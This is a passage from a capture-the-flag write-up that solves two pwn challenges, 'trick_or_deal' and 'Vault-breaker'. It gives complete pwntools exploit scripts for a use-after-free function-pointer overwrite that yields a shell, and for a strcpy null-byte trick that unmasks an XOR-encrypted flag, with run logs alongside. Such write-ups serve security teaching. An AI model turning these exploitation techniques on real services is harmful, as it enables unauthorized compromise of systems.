r = remote("165.22.119.112", 31220)
#r = process("./trick_or_deal")
elf = ELF("./trick_or_deal")
WEAPONS_STORAGE_SIZE = 0x48
# does freeing of memory and create heap memory on the same location to write content to it
def use_after_free_setup(payload):
# free heap memory
r.sendlineafter(b'[*] What do you want to do? ', b'4')
# to create heap memory on old heap location
r.sendlineafter(b'[*] What do you want to do? ', b'3')
r.sendlineafter(b'[*] Are you sure that you want to make an offer(y/n): ', b'y')
# create heap of the same size to get allocated to previously freed heap space
r.sendlineafter(b'[*] How long do you want your offer to be? ', b'80')
# write to the heap space. Must check if our payload is just nice length of 80, we don't need b'\n' due to read().
if len(payload) == 80:
r.sendafter(b'[*] What can you offer me? ', payload)
else:
r.sendlineafter(b'[*] What can you offer me? ', payload)
######################## Bypass ELF binary's ASLR ########################
# pad till before printStorage()'s address. -1 as sendlineafter() will append b'\n'.
padding = b'A' * (WEAPONS_STORAGE_SIZE - 1)
# free heap, create back on the same space and write our padding to it
use_after_free_setup(padding)
# to leak printStorage()'s address so that we can bypass ASLR
r.sendlineafter(b'[*] What do you want to do? ', b'1')
# to ignore the padding values
r.recvuntil(b'AAA\n')
printStorage_addr = u64(r.recvuntil(b' \x1B[1;35m', drop=True).ljust(8, b"\x00"))
log.info("printStorage() address: " + hex(printStorage_addr))
# set the ASLR base address of the ELF binary
elf.address = printStorage_addr - elf.symbols['printStorage']
log.info("ELF base address: " + hex(elf.address))
######################## Jump to win function ########################
# this time round we will overwrite printStorage()'s address with unlock_storage()'s address
padding = b'A' * WEAPONS_STORAGE_SIZE
func_to_be_called = p64(elf.symbols['unlock_storage'])
payload = padding + func_to_be_called
# free heap, create back on the same space and write our padding to it
use_after_free_setup(payload)
# trigger unlock_storage() to be called while program thinks it is calling printStorage()
r.sendlineafter(b'[*] What do you want to do? ', b'1')
r.interactive()
Note that it will take awhile before we obtain a shell as the program used a lot of sleep()
which delays our whole exploitation.
kali@kali~$ python3 trick_or_deal_exploit.py [+] Opening connection to 165.22.119.112 on port 31220: Done [*] '/home/kali/Desktop/trick_or_deal' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./glibc/' [*] printStorage() address: 0x55bfb44a5be6 [*] ELF base address: 0x55bfb44a5000 [*] Switching to interactive mode [*] Bruteforcing Storage Access Code . . . * Storage Door Opened * $ ls flag.txt glibc ld-2.31.so libc-2.31.so trick_or_deal $ cat flag.txt HTB{tr1ck1ng_d3al3rz_f0r_fUn_4nd_pr0f1t}
7. Vault-breaker

7.1 Files provided
- pwn_vault_breaker.zip
- x64 ELF binary
- flag.txt
7.2 Overview
In main()
, a menu will be printed for us where we can choose option 1 or 2. Before printing the menu in main()
, key_gen()
is called.

In key_gen()
, we can see that it generates a 0x20 (32) bytes length key and store it in random_key
.

In new_key_gen()
, we can manually decide what is the length of the new key we would like to generate and the new key will be copied to random_key
using strcpy()
to “replace” the old key.

I said “replace” because even if we generate a shorter key, some of the original key’s value is still in random_key
due to strcpy()
functionality where it will terminate where the NULL value is read. Below shows an example of what I mean.
Original key inrandom_key
: 67123456\x00 After setting length of 2 for the new key, value ofrandom_key
afterstrcpy()
: 94\x0023456\x00
In secure_password()
, the flag is obtained from flag.txt and the flag value is XORed byte by byte based on the key value. Therefore, the original leftover key’s values will XOR the flag as well.
void __noreturn secure_password()
{
void *v0; // rsp
size_t v1; // r12
void *v2; // rbx
int v3; // eax
size_t v4; // rbx
int i; // [rsp+0h] [rbp-60h] BYREF
int v6; // [rsp+4h] [rbp-5Ch]
char *v7; // [rsp+8h] [rbp-58h]
__int64 v8; // [rsp+10h] [rbp-50h]
void *s; // [rsp+18h] [rbp-48h]
FILE *stream; // [rsp+20h] [rbp-40h]
unsigned __int64 v11; // [rsp+28h] [rbp-38h]
v11 = __readfsqword(0x28u);
puts("\x1B[1;34m");
printf(format, "\x1B[1;34m", "\x1B[1;31m", "\x1B[1;34m");
v7 = (char *)&unk_1330;
v6 = 23;
v8 = 22LL;
v0 = alloca(32LL);
s = &i;
memset(&i, 0, 0x17uLL);
stream = fopen("flag.txt", "rb");
if ( !stream )
{
fprintf(stderr, "\n%s[-] Error opening flag.txt, contact an Administrator..\n", "\x1B[1;31m");
exit(21);
}
v1 = v6;
v2 = s;
v3 = fileno(stream);
read(v3, v2, v1);
fclose(stream);
puts(v7);
fwrite("\nMaster password for Vault: ", 1uLL, 0x1CuLL, stdout);
for ( i = 0; ; ++i )
{
v4 = i;
if ( v4 >= strlen((const char *)s) )
break;
putchar(*((_BYTE *)s + i) ^ random_key[i]);
}
puts("\n");
exit(6969);
}
Below shows a fake example where the new key still consists of some of the original key’s values which are used as part of the XOR:
Key: 94\x0023456\x00 Flag: HTB{GGG} After XOR: AQByDCB{
7.3 Exploitation
If you noticed, the string NULL terminator is copied into random_key
which replaced the specific index with 0x00. Note that a flag value XOR with 0x00 gives the original flag value. Therefore, we can do the example below to zero out the whole string in random_key
. For optimization purposes, we know the flag has a length of 23 based on secure_password()
when reading from flag.txt. Thus can start from length 22 and countdown to 0 when generating a new key in new_key_gen()
.

The code of it is vault-break_exploit_ideal.py as shown below:
from pwn import *
#context.log_level = "debug"
r = remote("104.248.162.86", 32126)
# to NULL the whole original random string in random_key starting from index 22 to index 0
# this makes random_key == "\x00.....\x00"
for i in range(22, -1, -1):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'[*] Length of new password (0-31): ', str(i).encode())
# get the flag
r.sendlineafter(b'> ', b'2')
r.recvuntil(b'Master password for Vault: ')
flag = r.recvuntil(b'\n')
log.info("Flag: " + str(flag))
r.interactive()
However, the program is very unstable. Some lengths specified in new_key_gen()
will cause the program to crash when selecting option 2 in the menu. This can only be solved via restarting the docker/server and another length specified in new_key_gen()
will have the issue again. We have no choice but to slowly increment the length and save the “cracked” flag value of what we have, restart the docker once there is an error, and continue from where we left off.
Below shows an example where the program crashes after choosing option 2.

7.4 Crafting the exploit and get the flag
Below shows vault-break_exploit.py I slowly crack byte by byte of the flag and record down what I have cracked before starting the Docker once there is an error.
from pwn import *
#context.log_level = "debug"
flag = "HTB{l4_c454_d3_b0"
flag_len = len(flag)
# to NULL specific byte in incremental order due to unstability of the program on the server
for i in range(flag_len, 23):
r = remote("104.248.162.86", 32428)
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'[*] Length of new password (0-31): ', str(i).encode())
# get the flag
r.sendlineafter(b'> ', b'2')
r.recvuntil(b'Master password for Vault: ')
flag_temp = r.recvuntil(b'\n')
flag += chr(flag_temp[i])
log.info("Flag: " + str(flag))
r.close()
kali@kali~$ python3 vault-break_exploit.py ... kali@kali~$ python3 vault-break_exploit.py [+] Opening connection to 178.62.73.26 on port 32740: Done [*] Flag: HTB{l4_c454_d3 [*] Closed connection to 178.62.73.26 port 32740 [+] Opening connection to 178.62.73.26 on port 32740: Done [*] Flag: HTB{l4_c454_d3_ [*] Closed connection to 178.62.73.26 port 32740 [+] Opening connection to 178.62.73.26 on port 32740: Done [*] Flag: HTB{l4_c454_d3_b [*] Closed connection to 178.62.73.26 port 32740 [+] Opening connection to 178.62.73.26 on port 32740: Done [*] Flag: HTB{l4_c454_d3_b0 [*] Closed connection to 178.62.73.26 port 32740 [+] Opening connection to 178.62.73.26 on port 32740: Done Traceback (most recent call last): File "/home/kali/Desktop/vault-break_exploit.py", line 18, in <module> r.recvuntil(b'Master password for Vault: ') File "/home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 333, in recvuntil res = self.recv(timeout=self.timeout) File "/home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 105, in recv return self._recv(numb, timeout) or b'' File "/home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 183, in _recv if not self.buffer and not self._fillbuffer(timeout): File "/home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError [*] Closed connection to 178.62.73.26 port 32740 kali@kali~$ python3 vault-break_exploit.py [+] Opening connection to 104.248.162.86 on port 32428: Done [*] Flag: HTB{l4_c454_d3_b0n [*] Closed connection to 104.248.162.86 port 32428 [+] Opening connection to 104.248.162.86 on port 32428: Done [*] Flag: HTB{l4_c454_d3_b0nN [*] Closed connection to 104.248.162.86 port 32428 [+] Opening connection to 104.248.162.86 on port 32428: Done [*] Flag: HTB{l4_c454_d3_b0nNi [*] Closed connection to 104.248.162.86 port 32428 [+] Opening connection to 104.248.162.86 on port 32428: Done [*] Flag: HTB{l4_c454_d3_b0nNi3 [*] Closed connection to 104.248.162.86 port 32428 [+] Opening connection to 104.248.162.86 on port 32428: Done [*] Flag: HTB{l4_c454_d3_b0nNi3} [*] Closed connection to 104.248.162.86 port 32428 [+] Opening connection to 104.248.162.86 on port 32428: Done [*] Flag: HTB{l4_c454_d3_b0nNi3} [*] Closed connection to 104.248.162.86 port 32428
I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂